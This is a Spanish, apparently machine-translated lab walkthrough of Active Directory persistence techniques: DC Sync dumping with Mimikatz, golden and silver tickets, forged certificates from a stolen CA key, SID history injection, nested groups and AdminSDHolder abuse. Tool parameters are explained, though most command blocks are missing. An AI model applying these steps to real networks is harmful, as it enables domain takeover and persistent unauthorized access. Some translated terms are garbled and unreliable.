Persisting Active Directory
Última actualización
Última actualización
No basta con tener un único controlador de dominio por dominio en las grandes organizaciones. Estos dominios se utilizan a menudo en varias ubicaciones regionales y tener un único DC retrasaría significativamente cualquier servicio de autenticación en AD. Como tal, estas organizaciones utilizan múltiples DC. La pregunta entonces es: ¿cómo es posible autenticarse utilizando las mismas credenciales en dos oficinas diferentes?
La respuesta a esa pregunta es la replicación de dominios. Cada controlador de dominio ejecuta un proceso llamado Comprobador de coherencia del conocimiento (KCC). El KCC genera una topología de replicación para el bosque de AD y se conecta automáticamente a otros controladores de dominio a través de llamadas a procedimiento remoto (RPC) para sincronizar la información. Esto incluye información actualizada, como la nueva contraseña del usuario y nuevos objetos, como cuando se crea un nuevo usuario. Es por eso que generalmente tiene que esperar un par de minutos antes de autenticarse después de haber cambiado su contraseña, ya que el DC donde ocurrió el cambio de contraseña quizás no sea el mismo en el que se está autenticando.
El proceso de replicación se llama sincronización DC . No son sólo los países en desarrollo los que pueden iniciar la replicación. Cuentas como las que pertenecen a los grupos de Administradores de dominio también pueden hacerlo con fines legítimos como crear un nuevo controlador de dominio.
Un ataque popular para realizar es un ataque DC Sync. Si tenemos acceso a una cuenta que tiene permisos de replicación de dominio, podemos organizar un ataque de sincronización de DC para recopilar credenciales de un DC.
Antes de comenzar nuestro ataque DC Sync, analicemos primero qué credenciales podríamos buscar. Si bien siempre debemos buscar desechar las credenciales privilegiadas, como aquellas que son miembros del grupo de administradores de dominio, estas también son las credenciales que se rotarán (un término del equipo azul que significa restablecer la contraseña de la cuenta) primero. Como tal, si solo tenemos credenciales privilegiadas, es seguro decir que tan pronto como el equipo azul nos descubra, rotarán esas cuentas y potencialmente podemos perder nuestro acceso.
El objetivo entonces es persistir con credenciales casi privilegiadas. No siempre necesitamos las llaves completas del reino; solo necesitamos suficientes claves para asegurarnos de que aún podamos lograr la ejecución de objetivos y hacer que el equipo azul siempre mire por encima del hombro. Como tal, debemos intentar persistir mediante credenciales como las siguientes:
Credenciales que tienen derechos de administrador local en varias máquinas. Por lo general, las organizaciones tienen uno o dos grupos con derechos de administrador local en casi todas las computadoras. Estos grupos suelen dividirse en uno para estaciones de trabajo y otro para servidores. Al recopilar las credenciales de los miembros de estos grupos, aún tendríamos acceso a la mayoría de las computadoras del patrimonio.
Cuentas de servicio que tienen permisos de delegación. Con estas cuentas, podríamos forzar a los tickets dorados y plateados a realizar ataques de delegación Kerberos .
Cuentas utilizadas para servicios AD privilegiados . Si comprometemos cuentas de servicios privilegiados como Exchange, Windows Server Update Services (WSUS) o System Center Configuration Manager (SCCM), podríamos aprovechar la explotación de AD para volver a ganar un punto de apoyo privilegiado.
Cuando se trata de qué credenciales descartar y conservar, está sujeto a muchas cosas. Tendrá que ser creativo en su forma de pensar y analizarlo caso por caso. Sin embargo, para esta sala, vamos a divertirnos un poco, hacer sudar al equipo azul y deshacernos de todas las credenciales que podamos tener en nuestras manos.
Usaremos Mimikatz para recolectar credenciales. SSH en THMWRK1 usando la cuenta DA y carga Mimikatz:
Comencemos realizando una DC Sync de una sola cuenta, la nuestra:
Esto es genial y todo eso, pero queremos sincronizar DC cada cuenta. Para ello tendremos que habilitar el inicio de sesión en Mimikatz:
Asegúrese de cambiar nombre de usuario a su nombre de usuario para no sobrescribir el volcado de registros de otros usuarios. Ahora, en lugar de especificar nuestra cuenta, usaremos el indicador /all:
Esto tardará un poco en completarse. Una vez hecho esto, salga de Mimikatz para finalizar la búsqueda del volcado y luego podrá descargar el archivo nombre de usuario _dcdump.txt. Puede utilizarlo cat <username>_dcdump.txt | grep "SAM Username"para recuperar todos los nombres de usuario y cat <username>_dcdump.txt | grep "Hash NTLM"todos los hashes. Ahora podemos realizar un ataque de descifrado de contraseñas sin conexión para recuperar las credenciales de texto sin formato o simplemente realizar un ataque de paso de hash con Mimikatz.
Como se analizó en las tareas anteriores, a menudo queremos persistir a través de cuentas de servicio con permisos de delegación para falsificar boletos plateados y dorados. Pero, ¿qué son exactamente y por qué cada ejercicio de mesa del equipo azul termina con alguien gritando: "¡Tire todos los boletos dorados y plateados!".
Antes de entrar en los tickets dorados y plateados, primero debemos hacer un rápido resumen de la autenticación Kerberos . El siguiente diagrama muestra el flujo normal para la autenticación Kerberos:
El usuario realiza una AS-REQ al Centro de distribución de claves (K DC ) en el DC que incluye una marca de tiempo cifrada con el hash NTLM del usuario. Básicamente, se trata de la solicitud de un Ticket de concesión de billetes (TGT). El DC verifica la información y envía el TGT al usuario. Este TGT está firmado con el hash de contraseña de la cuenta KRBTGT que solo se almacena en el DC. El usuario ahora puede enviar este TGT al DC para solicitar un Servicio de concesión de boletos (TGS) para el recurso al que desea acceder. Si el TGT se retira, el DC responde al TGS que está cifrado con el hash NTLM del servicio para el que el usuario solicita acceso. Luego, el usuario presenta este TGS al servicio para acceder, que puede verificar el TGS ya que conoce su propio hash y puede otorgar acceso al usuario.
Habiendo dicho toda esa teoría de fondo, es hora de analizar los boletos dorados y plateados.
Los billetes dorados son TGT falsificados. Lo que esto significa es que omitimos los pasos 1 y 2 del diagrama anterior, donde le demostramos al DC quiénes somos. Teniendo un TGT válido de una cuenta privilegiada, ahora podemos solicitar un TGS para casi cualquier servicio que queramos. Para falsificar un boleto dorado, necesitamos el hash de contraseña de la cuenta KRBTGT para poder firmar un TGT para cualquier cuenta de usuario que queramos. Algunas notas interesantes sobre Golden Tickets:
Al inyectar en esta etapa del proceso Kerberos , no necesitamos el hash de contraseña de la cuenta que queremos suplantar, ya que omitimos ese paso. El TGT sólo se utiliza para demostrar que el KDC en un DC lo firmó. Como fue firmado por el hash KRBTGT, esta verificación pasa y el TGT se declara válido sin importar su contenido.
Hablando de contenidos, el KDC sólo validará la cuenta de usuario especificada en el TGT si tiene más de 20 minutos. Esto significa que podemos poner una cuenta deshabilitada, eliminada o inexistente en el TGT, y será válida siempre que nos aseguremos de que la marca de tiempo no tenga más de 20 minutos.
Dado que las políticas y reglas para los boletos se establecen en el propio TGT , podríamos sobrescribir los valores impulsados por el KDC, como, por ejemplo, que los boletos solo deben ser válidos por 10 horas. Podríamos, por ejemplo, asegurar que nuestro TGT tenga una vigencia de 10 años, lo que nos otorga persistencia.
De forma predeterminada, la contraseña de la cuenta KRBTGT nunca cambia, lo que significa que una vez que la tenemos, a menos que la rotemos manualmente, tenemos acceso persistente generando TGT para siempre.
El equipo azul tendría que rotar la contraseña de la cuenta KRBTGT dos veces, ya que la contraseña actual y la anterior se mantienen válidas para la cuenta. Esto es para garantizar que la rotación accidental de la contraseña no afecte los servicios.
Rotar la contraseña de la cuenta KRB TGT es un proceso increíblemente doloroso para el equipo azul ya que provocará que una cantidad significativa de servicios en el entorno dejen de funcionar. Creen que tienen un TGT válido, a veces durante las próximas horas, pero ese TGT ya no es válido. No todos los servicios son lo suficientemente inteligentes como para publicar que el TGT ya no es válido (ya que la marca de tiempo aún es válida) y, por lo tanto, no solicitarán automáticamente un nuevo TGT.
Los billetes dorados incluso le permitirían evitar la autenticación de tarjetas inteligentes, ya que el DC verifica la tarjeta inteligente antes de crear el TGT.
Podemos generar un ticket dorado en cualquier máquina, incluso una que no esté unida a un dominio (como nuestra propia máquina de ataque), lo que dificulta que el equipo azul lo detecte.
Además del hash de contraseña de la cuenta KRBTGT, solo necesitamos el nombre de dominio, el SID del dominio y el ID de usuario de la persona que queremos suplantar. Si estamos en una posición en la que podemos recuperar el hash de contraseña de la cuenta KRBTGT, ya estaríamos en una posición en la que podemos recuperar las otras piezas de la información requerida.
Los Billetes Plata son billetes TGS falsificados. Entonces, ahora nos saltamos todas las comunicaciones (pasos 1 a 4 en el diagrama anterior) que habríamos tenido con el K DC en el DC y simplemente interactuamos con el servicio al que queremos acceder directamente. Algunas notas interesantes sobre Silver Tickets:
El TGS generado está firmado por la cuenta de la máquina del host al que nos dirigimos.
La principal diferencia entre Golden Tickets y Silver Tickets es la cantidad de privilegios que adquirimos. Si tenemos el hash de contraseña de la cuenta KRBTGT, podemos acceder a todo. Con un Silver Ticket, dado que solo tenemos acceso al hash de contraseña de la cuenta de la máquina del servidor que estamos atacando, solo podemos suplantar a los usuarios en ese host. El alcance del Silver Ticket se limita a cualquier servicio al que esté dirigido el servidor específico.
Dado que el TGS es falsificado, no hay ningún TGT asociado , lo que significa que nunca se contactó al DC. Esto hace que el ataque sea increíblemente peligroso ya que los únicos registros disponibles estarían en el servidor objetivo. Entonces, si bien el alcance es más limitado, es mucho más difícil de detectar para el equipo azul.
Dado que los permisos se determinan a través de los SID, podemos volver a crear un usuario no existente para nuestro ticket plateado, siempre y cuando nos aseguremos de que el ticket tenga los SID relevantes que colocarían al usuario en el grupo de administradores locales del host.
La contraseña de la cuenta de la máquina generalmente se rota cada 30 días, lo que no sería bueno para la persistencia. Sin embargo, podríamos aprovechar el acceso que proporciona nuestro TGS para obtener acceso al registro del host y alterar el parámetro responsable de la rotación de la contraseña de la cuenta de la máquina. De este modo, se garantiza que la cuenta de la máquina permanezca estática y nos garantiza persistencia en la máquina.
Si bien tener acceso a un solo host puede parecer una degradación significativa, las cuentas de máquina se pueden usar como cuentas AD normales , lo que le permite no solo acceso administrativo al host sino también los medios para continuar enumerando y explotando AD como lo haría con un AD. cuenta de usuario.
Ahora que hemos explicado los conceptos básicos de los boletos dorados y plateados, generemos algunos. Necesitará el hash NTLM de la cuenta KRBTGT, que ahora debería tener debido a la sincronización DC realizada en la tarea anterior. Además, tome nota del hash NTLM asociado con la cuenta de la máquina THMSERVER1, ya que lo necesitaremos para nuestro billete plateado. Puede encontrar esta información en el volcado de DC que realizó. El último dato que necesitamos es el SID del dominio. Usando nuestro terminal SSH con pocos privilegios en THMWRK1, podemos usar el cmdlet AD-RSAT para recuperar esta información:
Ahora que tenemos toda la información necesaria, podemos reiniciar Mimikatz:
Una vez cargado Mimikatz, realice lo siguiente para generar un ticket dorado:
Parámetros explicados:
/admin : el nombre de usuario que queremos suplantar. No es necesario que sea un usuario válido.
/domain : el FQDN del dominio para el que queremos generar el ticket.
/id -El usuario RID. De forma predeterminada, Mimikatz usa RID 500, que es el RID predeterminado de la cuenta de administrador.
/sid : el SID del dominio para el que queremos generar el ticket.
/krbtgt : el hash NTLM de la cuenta KRBTGT.
/endin : duración del ticket. Por defecto, Mimikatz genera un ticket con una validez de 10 años. La política Kerberos predeterminada de AD es de 10 horas (600 minutos)
/renewmax : la duración máxima del billete con renovación. Por defecto, Mimikatz genera un ticket con una validez de 10 años. La política Kerberos predeterminada de AD es de 7 días (10080 minutos)
/ptt : este indicador le indica a Mimikatz que inyecte el ticket directamente en la sesión, lo que significa que está listo para usarse.
Podemos verificar que el ticket dorado esté funcionando ejecutando el comando dir en el controlador de dominio:
Incluso si el boleto dorado tiene una duración increíblemente larga, el equipo azul aún puede defenderse simplemente rotando la contraseña KRBTGT dos veces. Si realmente queremos profundizar en nuestras raíces, queremos generar tickets plateados, que tienen menos probabilidades de ser descubiertos y mucho más difíciles de defender, ya que las contraseñas de cada cuenta de máquina deben rotarse. Podemos usar el siguiente comando Mimikatz para generar un ticket plateado:
Parámetros explicados:
/admin : el nombre de usuario que queremos suplantar. No es necesario que sea un usuario válido.
/domain : el FQDN del dominio para el que queremos generar el ticket.
/id -El usuario RID. De forma predeterminada, Mimikatz usa RID 500, que es el RID predeterminado de la cuenta de administrador.
/sid : el SID del dominio para el que queremos generar el ticket.
/target : el nombre de host de nuestro servidor de destino. Hagamos THMSERVER1.za.tryhackme.loc, pero puede ser cualquier host unido a un dominio.
/rc4 : el hash NTLM de la cuenta de máquina de nuestro objetivo. Busque en los resultados de DC Sync el hash NTLM de THMSERVER1$. El $ indica que es una cuenta de máquina.
/servicio - El servicio que estamos solicitando en nuestro TGS. CIFS es una apuesta segura, ya que permite el acceso a archivos.
/ptt : este indicador le indica a Mimikatz que inyecte el ticket directamente en la sesión, lo que significa que está listo para usarse.
Podemos verificar que el ticket plateado esté funcionando ejecutando el comando dir en THMSERVER1:
Ahora tenemos entradas doradas y plateadas para el entorno AD , ¡lo que proporciona una mayor persistencia que solo credenciales!
_Una nota rápida aquí. Las técnicas que se analizan a partir de este momento son increíblemente invasivas y difíciles de eliminar. Incluso si ha aprobado el ejercicio de su equipo rojo para realizar estas técnicas, debe tener la máxima precaución al realizarlas. En escenarios del mundo real, la explotación de la mayoría de estas técnicas daría como resultado una reconstrucción completa del dominio. Asegúrese de comprender completamente las consecuencias del uso de estas técnicas y solo realícelas si tiene la aprobación previa de su evaluación y se consideran necesarias. En la mayoría de los casos, un ejercicio del equipo rojo se desencadenaría en este punto en lugar de utilizar estas técnicas. Lo que significa que lo más probable es que no realices estas técnicas de persistencia sino que las simules. _
Las dos últimas técnicas de persistencia se basaron en credenciales. Si bien definitivamente podemos complicar la vida del equipo azul, en última instancia, pueden rotar suficientes credenciales para expulsarnos. Entonces, si bien estas técnicas son excelentes para mantener ocupado al equipo azul mientras nosotros los mantenemos ocupados, deberíamos intentar utilizar técnicas de persistencia que sean independientes de las credenciales, lo que significa que la rotación de estas no nos expulsará. El primero de ellos que veremos son los certificados.
Dependiendo de nuestro acceso, podemos ir un paso más allá. Podríamos simplemente robar la clave privada del certificado de la CA raíz para generar nuestros propios certificados cuando nos apetezca. Peor aún, dado que estos certificados nunca fueron emitidos por la CA, el equipo azul no tiene capacidad para revocarlos. Esto sería aún peor para el equipo azul, ya que significaría una rotación de la CA, lo que significa que el equipo azul tendría que revocar todos los certificados emitidos para expulsarnos. Imagine que acaba de pasar los últimos dos días realizando una recuperación de dominio rotando las credenciales de cada cuenta de privilegios y restableciendo todos los tickets dorados y plateados, solo para darse cuenta de que los atacantes persistieron y se convirtieron en su CA. ¡Ay!
Primero veamos si podemos ver los certificados almacenados en el DC :
Podemos ver que hay un certificado de CA en el DC . También podemos observar que algunos de estos certificados estaban configurados para no permitirnos exportar la clave. Sin esta clave privada, no podríamos generar nuevos certificados. Por suerte, Mimikatz nos permite parchear la memoria para que estas claves sean exportables:
Si recibe un error, no se preocupe, sólo significa que alguien más ejecutó el parche antes que usted. Con estos servicios parcheados, podemos usar Mimikatz para exportar los certificados:
Los certificados exportados se almacenarán en formato PFX y DER en el disco:
El za-THMDC-CA.pfxcertificado es el que nos interesa especialmente. Para poder exportar la clave privada, se debe utilizar una contraseña para cifrar el certificado. Por defecto, Mimikatz asigna la contraseña de mimikatz. Descargue o copie este certificado en su AttackBox usando SCP y luego cópielo en el directorio de inicio de su usuario con pocos privilegios en THMWRK1. También puede realizar el resto de los pasos en su propia máquina Windows que no esté unida a un dominio si lo prefiere.
Parámetros explicados:
CaCertPath: la ruta a nuestro certificado de CA exportado.
CaCertPassword : la contraseña utilizada para cifrar el certificado. Por defecto, Mimikatz asigna la contraseña de mimikatz.
Subject : el asunto o nombre común del certificado. Esto realmente no importa en el contexto de para qué usaremos el certificado.
SubjectAltName : este es el nombre principal de usuario (UPN) de la cuenta que queremos suplantar con este certificado. Tiene que ser un usuario legítimo.
NewCertPath : la ruta donde ForgeCert almacenará el certificado generado.
NewCertPassword : dado que el certificado requerirá la clave privada exportada para fines de autenticación, debemos establecer una nueva contraseña para cifrarla.
Podemos usar Rubeus para solicitar un TGT usando el certificado para verificar que el certificado sea confiable. Usaremos el siguiente comando:
C:\Tools\Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate:
Analicemos los parámetros:
/user : especifica el usuario que suplantaremos y debe coincidir con el UPN del certificado que generamos.
/enctype : especifica el tipo de cifrado del ticket. Configurar esto es importante para la evasión, ya que el algoritmo de cifrado predeterminado es débil, lo que daría como resultado una alerta de sobrepaso del hash.
/certificate - Ruta al certificado que hemos generado
/password : la contraseña de nuestro archivo de certificado.
/outfile - El archivo donde se enviará nuestro TGT
/domain : el FQDN del dominio que estamos atacando actualmente
/dc : la IP del controlador de dominio al que solicitamos el TGT. Por lo general, es mejor seleccionar un DC que tenga un servicio de CA ejecutándose
Una vez que ejecutamos el comando, deberíamos recibir nuestro TGT :
Ahora podemos usar Mimikatz para cargar el TGT y autenticarnos en THMDC:
Es mucho más difícil defenderse de la persistencia de los certificados. Incluso si rota las credenciales de la cuenta comprometida, el certificado seguirá siendo válido. La única forma de eliminar la persistencia es emitir una revocación del certificado. Sin embargo, esto sólo sería posible si generáramos el certificado a través de canales legítimos. Dado que exportamos la CA y generamos el certificado nosotros mismos, no aparece en la lista de certificados emitidos de AD CS, lo que significa que el equipo azul no podrá revocar nuestro certificado.
Entonces, ¿cuál es la única solución para eliminar la persistencia? Bueno, es por eso que ya no somos amigos. Tendrán que revocar el certificado de CA raíz. Pero revocar este certificado significa que todos los certificados emitidos por AD CS de repente dejarán de ser válidos. Lo que significa que tendrán que generar un nuevo certificado para cada sistema que utilice AD CS. Debería comenzar a ver por qué este tipo de persistencia es increíblemente peligrosa y requeriría reconstrucciones completas de los sistemas si se realizara.
Los identificadores de seguridad (SID) se han analizado antes. Pero para resumir, los SID se utilizan para rastrear la entidad de seguridad y el acceso de la cuenta cuando se conecta a los recursos. Sin embargo, existe un atributo interesante en las cuentas llamado historial SID.
El caso de uso legítimo del historial SID es permitir el acceso a una cuenta para clonarla efectivamente en otra. Esto resulta útil cuando una organización está ocupada realizando una migración de AD , ya que permite a los usuarios conservar el acceso al dominio original mientras se migran al nuevo. En el nuevo dominio, el usuario tendría un nuevo SID, pero podemos agregar el SID existente del usuario en el historial de SID, lo que aún le permitirá acceder a los recursos del dominio anterior utilizando su nueva cuenta. Si bien el historial de SID es bueno para las migraciones, nosotros, como atacantes, también podemos abusar de esta característica para lograr persistencia.
La cuestión es que el historial de SID no se limita a incluir únicamente SID de otros dominios. Con los permisos adecuados, podemos simplemente agregar un SID de nuestro dominio actual al historial de SID de una cuenta que controlamos. Algunas notas interesantes sobre esta técnica de persistencia:
Normalmente requerimos privilegios de administrador de dominio o su equivalente para realizar este ataque.
Cuando la cuenta crea un evento de inicio de sesión, los SID asociados con la cuenta se agregan al token del usuario, que luego determina los privilegios asociados con la cuenta. Esto incluye los SID de grupo.
Podemos llevar este ataque un paso más allá si inyectamos el SID de administrador empresarial, ya que esto elevaría los privilegios de la cuenta para que sea efectivamente administrador de dominio en todos los dominios del bosque.
Dado que los SID se agregan al token del usuario, se respetarán los privilegios incluso si la cuenta no es miembro del grupo real. Haciendo de este un método de persistencia muy astuto. Tenemos todos los permisos que necesitamos para comprometer todo el dominio (quizás todo el bosque), pero nuestra cuenta puede ser simplemente una cuenta de usuario normal con membresía únicamente en el grupo Usuarios del dominio. Podemos llevar la astucia a otro nivel usando siempre esta cuenta para alterar el historial de SID de otra cuenta, de modo que el vector de persistencia inicial no sea tan fácil de descubrir y remediar.
Obtenga una sesión SSH en THMDC utilizando las credenciales de administrador para la siguiente parte. Antes de falsificar el historial de SID, primero obtengamos información sobre los SID. En primer lugar, asegurémonos de que nuestro usuario con pocos privilegios no tenga actualmente ninguna información en su historial SID:
Esto confirma que nuestro usuario no tiene actualmente ningún historial SID configurado. Obtengamos el SID del grupo Administradores de dominio, ya que este es el grupo que queremos agregar a nuestro Historial de SID:
La base de datos NTDS está bloqueada cuando se ejecuta el servicio NTDS. Para parchear nuestro historial SID, primero debemos detener el servicio. Debe reiniciar el servicio NTDS después del parche; de lo contrario, la autenticación para toda la red ya no funcionará.
Después de realizar estos pasos, ingresemos SSH a THMWRK1 con nuestras credenciales con pocos privilegios y verifiquemos que se agregó el historial de SID y que ahora tenemos privilegios de administrador de dominio:
Según el resultado anterior, ¡funcionó! ¡Pudimos falsificar nuestro historial SID y otorgar acceso DA a nuestra cuenta con pocos privilegios!
Si utilizara RDP en uno de los hosts y utilizara el complemento Usuarios y grupos de AD, podría ver el atributo del historial SID agregado a su usuario. Sin embargo, incluso con los privilegios más altos posibles, no podrá eliminar el atributo ya que está protegido. Para eliminar esto, deberá utilizar herramientas como los cmdlets AD-RSAT PowerShell para eliminar el historial de SID.
Sin embargo, antes de que pueda siquiera pensar en eliminar los atributos del historial SID maliciosos, primero debe encontrarlos. Ninguna de las herramientas habituales le indicará que algo anda mal. Ese usuario no aparecerá de repente como miembro del grupo de administradores de dominio. Entonces, a menos que esté filtrando activamente los atributos de sus usuarios, esto es increíblemente difícil de encontrar. Esto se debe a que el historial de SID solo se aplica y utiliza una vez que el usuario se autentica.
Imagine que usted es el equipo azul que se ocupa de un incidente en el que acaba de realizar una recuperación de dominio. Rotó la contraseña de la cuenta krbtgt dos veces, eliminó los tickets dorados y plateados y reconstruyó todo su servidor CA desde cero, solo para ver que el atacante todavía está ejecutando comandos DA con una cuenta con pocos privilegios. Éste no sería un gran día.
Si no queremos alterar los historiales de SID, podemos simplemente agregarnos directamente a los grupos de AD para persistir. Si bien el historial de SID es una excelente técnica de persistencia, la rotación y limpieza de credenciales aún pueden eliminar nuestra persistencia. En ciertos casos, puede ser mejor realizar persistencia apuntando a los propios grupos de AD.
Como se analizó en la tarea 1, la cuenta o grupo con más privilegios no siempre es el mejor para usar para la persistencia. Los grupos privilegiados son monitoreados más de cerca para detectar cambios que otros. Cualquier grupo que se clasifique como grupo protegido, como administradores de dominio o administradores empresariales, recibe un escrutinio de seguridad adicional. Entonces, si queremos persistir a través de la membresía en un grupo, es posible que debamos ser creativos con respecto a los grupos a los que agregamos nuestras propias cuentas para lograr persistencia:
El grupo de soporte de TI se puede utilizar para obtener privilegios, como forzar el cambio de contraseñas de usuario. Aunque, en la mayoría de los casos, no podremos restablecer las contraseñas de los usuarios privilegiados, tener la capacidad de restablecer incluso los usuarios con pocos privilegios puede permitirnos propagarnos a las estaciones de trabajo.
Los grupos que otorgan derechos de administrador local a menudo no son monitoreados tan de cerca como los grupos protegidos. Con derechos de administrador local para los hosts correctos a través de la membresía de un grupo de soporte de red, podemos tener una buena persistencia que puede usarse para comprometer el dominio nuevamente.
No siempre se trata de privilegios directos. A veces, los grupos con privilegios indirectos, como la propiedad sobre objetos de política de grupo (GPO), pueden ser igual de buenos para la persistencia.
En la mayoría de las organizaciones, existe una cantidad significativa de grupos recursivos. Un grupo recursivo es un grupo que es miembro de otro grupo. Podemos pensar en esto como un anidamiento grupal. El anidamiento de grupos se utiliza para crear una estructura más organizada en AD . Tomemos como ejemplo el grupo de soporte de TI. El soporte de TI es muy genérico. Entonces, tal vez haya subgrupos como Servicio de asistencia técnica, Administradores de tarjetas de acceso y Administradores de red debajo de este grupo. Podemos agregar todos estos grupos como miembros al grupo de soporte de TI, lo que otorga a todos los usuarios de estos subgrupos los permisos y privilegios asociados con el grupo de soporte de TI, pero luego podemos asignar permisos y privilegios más granulares para cada uno de los subgrupos.
Si bien el anidamiento de grupos ayuda a organizar AD , reduce la visibilidad del acceso efectivo. Tomemos nuevamente nuestro ejemplo de soporte de TI. Si consultamos a AD sobre la membresía del grupo de soporte de TI, responderá contando hasta tres. Sin embargo, este recuento no es realmente cierto ya que se trata de tres grupos. Para tener una idea del acceso efectivo, ahora tendríamos que enumerar también esos subgrupos. Pero esos subgrupos también pueden tener subgrupos. Entonces la pregunta es: "¿Cuántas capas de profundidad debemos enumerar para obtener el número de acceso efectivo real?"
Esto también se convierte en un problema de seguimiento. Digamos, por ejemplo, que tenemos una alerta que se activa cuando se agrega un nuevo miembro al grupo de administradores de dominio. Es una buena alerta, pero no se activará si se agrega un usuario a un subgrupo dentro del grupo Administradores de dominio. Este es un problema muy común ya que AD es administrado por el equipo de AD y las alertas y el monitoreo son administrados por el equipo de InfoSec. Todo lo que necesitamos es un poco de falta de comunicación y la alerta ya no será válida porque se utilizan subgrupos.
Como atacante, podemos aprovechar esta visibilidad reducida para realizar persistencia. En lugar de centrarnos en los grupos privilegiados que nos proporcionarían acceso al medio ambiente, centramos nuestra atención en los subgrupos. En lugar de agregarnos a un grupo privilegiado que generaría una alerta, nos agregamos a un subgrupo que no está siendo monitoreado.
Simulemos este tipo de persistencia. Para permitir que otros usuarios también realicen la técnica, asegúrese de anteponer su nombre de usuario a todos los grupos que cree. Para simular la persistencia, crearemos algunos de nuestros propios grupos. Comencemos creando un nuevo grupo base que ocultaremos en Personas->Unidad organizativa ( OU ) de TI:
Ahora creemos otro grupo en Personas-> Organización organizativa Ventas y agreguemos nuestro grupo anterior como miembro:
Podemos hacer esto un par de veces más, cada vez agregando el grupo anterior como miembro:
Con el último grupo, agreguemos ahora ese grupo al grupo de administradores de dominio:
Por último, agreguemos nuestro usuario de AD con pocos privilegios al primer grupo que creamos:
Instantáneamente, su usuario con pocos privilegios debería tener acceso privilegiado a THMDC. Verifiquemos esto usando nuestra terminal SSH en THMWRK1:
También verifiquemos que aunque creamos varios grupos, el grupo Administradores de dominio solo tiene un miembro nuevo:
Si esto fuera una organización real, no estaríamos creando nuevos grupos para anidar. En su lugar, utilizaríamos los grupos existentes para realizar el anidamiento. Sin embargo, esto es algo que nunca harías en una evaluación normal del equipo rojo y casi siempre se desconecta en este punto, ya que rompe la estructura AD de la organización y, si la rompemos lo suficiente, no podrán recuperarse. En este punto, incluso si el equipo azul pudiera echarnos, lo más probable es que la organización todavía tuviera que reconstruir toda su estructura AD desde cero, lo que provocaría daños significativos.
A veces, necesitamos algo más que persistir en los grupos AD normales . ¿Qué pasa si queremos persistir en todos los grupos protegidos simultáneamente?
Si bien podemos simplemente agregar una cuenta que controlemos a cada grupo privilegiado que podamos encontrar, el equipo azul aún podría realizar la limpieza y eliminar nuestra membresía. Para garantizar una persistencia un poco mejor y hacer que el equipo azul se rasque la cabeza, deberíamos inyectar en las plantillas que generan los grupos predeterminados. Al inyectar en estas plantillas, incluso si eliminan nuestra membresía, solo tenemos que esperar hasta que la plantilla se actualice y una vez más se nos otorgará la membresía.
Un proceso llamado SDProp toma la ACL del contenedor AdminSDHolder y la aplica a todos los grupos protegidos cada 60 minutos. De este modo podemos escribir una ACE que nos conceda permisos completos en todos los grupos protegidos. Si el equipo azul no se da cuenta de que se está utilizando este tipo de persistencia, será bastante frustrante. Cada vez que eliminan el permiso inapropiado sobre el objeto o grupo protegido, vuelve a aparecer dentro de una hora. Dado que esta reconstrucción se produce a través de procesos normales de AD, tampoco mostraría ninguna alerta al equipo azul, lo que dificultaría identificar el origen de la persistencia.
Para implementar nuestra persistencia en AdminSDHolder, usaremos Microsoft Management Console (MMC). Para evitar expulsar a los usuarios de sus sesiones RDP , será mejor ingresar RDP a THMWRK1 usando sus credenciales con privilegios bajos, usar el comando runas para inyectar las credenciales de administrador y luego ejecutar MMC desde esta nueva terminal:
runas /netonly /user:thmchilddc.tryhackme.loc\Administrator cmd.exe
Una vez que tenga una ventana MMC, agregue el complemento Usuarios y grupos (Archivo->Agregar complemento->Usuarios y computadoras de Active Directory). Asegúrese de habilitar las funciones avanzadas (Ver->Funciones avanzadas). Podemos encontrar el grupo AdminSDHolder en Dominio->Sistema:
Navegue hasta Seguridad del grupo (haga clic derecho->Propiedades->Seguridad):
Agreguemos nuestro usuario con pocos privilegios y otorguemos Control total:
Haga clic en Agregar .
Busque su nombre de usuario con pocos privilegios y haga clic en Comprobar nombres .
Haga clic en Aceptar .
Haga clic en Permitir en Control total .
Haga clic en Aplicar .
Haga clic en Aceptar .
Debería verse así:
Ahora sólo tenemos que esperar 60 minutos y nuestro usuario tendrá control total sobre todos los Grupos Protegidos. Esto se debe a que el servicio Propagador de descriptores de seguridad (SDProp) se ejecuta automáticamente cada 60 minutos y propagará este cambio a todos los grupos protegidos. Sin embargo, como no nos gusta esperar, iniciemos el proceso manualmente usando Powershell. En el directorio, se proporciona C:\Tools\un script ::Invoke-ADSDPropagation
Una vez hecho esto, espere un minuto y luego revise los permisos de seguridad de un grupo protegido, como el grupo de administradores de dominio (puede usar el comando de búsqueda para encontrar este grupo):
Como puede verse, nuestro usuario con privilegios bajos tiene control total sobre el grupo. Puede verificar que esto continuará propagándose eliminando a su usuario de los permisos de seguridad y volviendo a ejecutar el script de PowerShell . Su usuario será agregado nuevamente. Curiosamente, aunque tengamos permisos para modificar el grupo, no nos añade automáticamente al grupo:
Sin embargo, usando nuestros nuevos permisos, podemos agregarnos a este grupo:
Imagínese combinar esto con los grupos anidados de la tarea anterior. Justo cuando el equipo azul terminó de revocar tu acceso mediante numerosos cambios de grupo, 60 minutos después, puedes hacerlo todo de nuevo. A menos que el equipo azul entienda que los permisos se están modificando a través del grupo AdminSDHolder, se estarían rascando la cabeza cada 60 minutos. Dado que la persistencia se propaga a través de un servicio AD legítimo , lo más probable es que no se den cuenta cada vez que esto sucede. Si realmente desea persistir, puede otorgar control total al grupo Usuarios de dominio en el grupo AdminSDHolder, lo que significa que a cualquier usuario con pocos privilegios se le otorgará control total sobre todos los Grupos protegidos. Combinar esto con una sincronización DC completa significa que el equipo azul tendrá que restablecer cada credencial del dominio para eliminarnos por completo.
La última técnica de persistencia que revisaremos es la persistencia a través de objetos de política de grupo (GPO). En este punto, debería estar familiarizado con los GPO basados en las diferentes técnicas de enumeración, ataque y explotación que hemos analizado. Sin embargo, los GPO también son excelentes para implementar persistencia.
La administración de políticas de grupo en AD proporciona un mecanismo central para administrar la configuración de políticas locales de todas las máquinas unidas al dominio. Esto incluye configuraciones como membresía a grupos restringidos, configuración de firewall y AV, y qué scripts deben ejecutarse al inicio. Si bien se trata de una excelente herramienta de gestión, los atacantes pueden atacarla para implementar persistencia en todo el patrimonio. Lo que es aún peor es que el atacante a menudo puede ocultar el GPO de tal manera que resulta casi imposible eliminarlo.
Las siguientes son algunas técnicas comunes de persistencia de GPO :
Membresía de grupo restringida: esto podría permitirnos acceso administrativo a todos los hosts del dominio.
Implementación del script de inicio de sesión: esto garantizará que recibamos una devolución de llamada del shell cada vez que un usuario se autentique en un host del dominio.
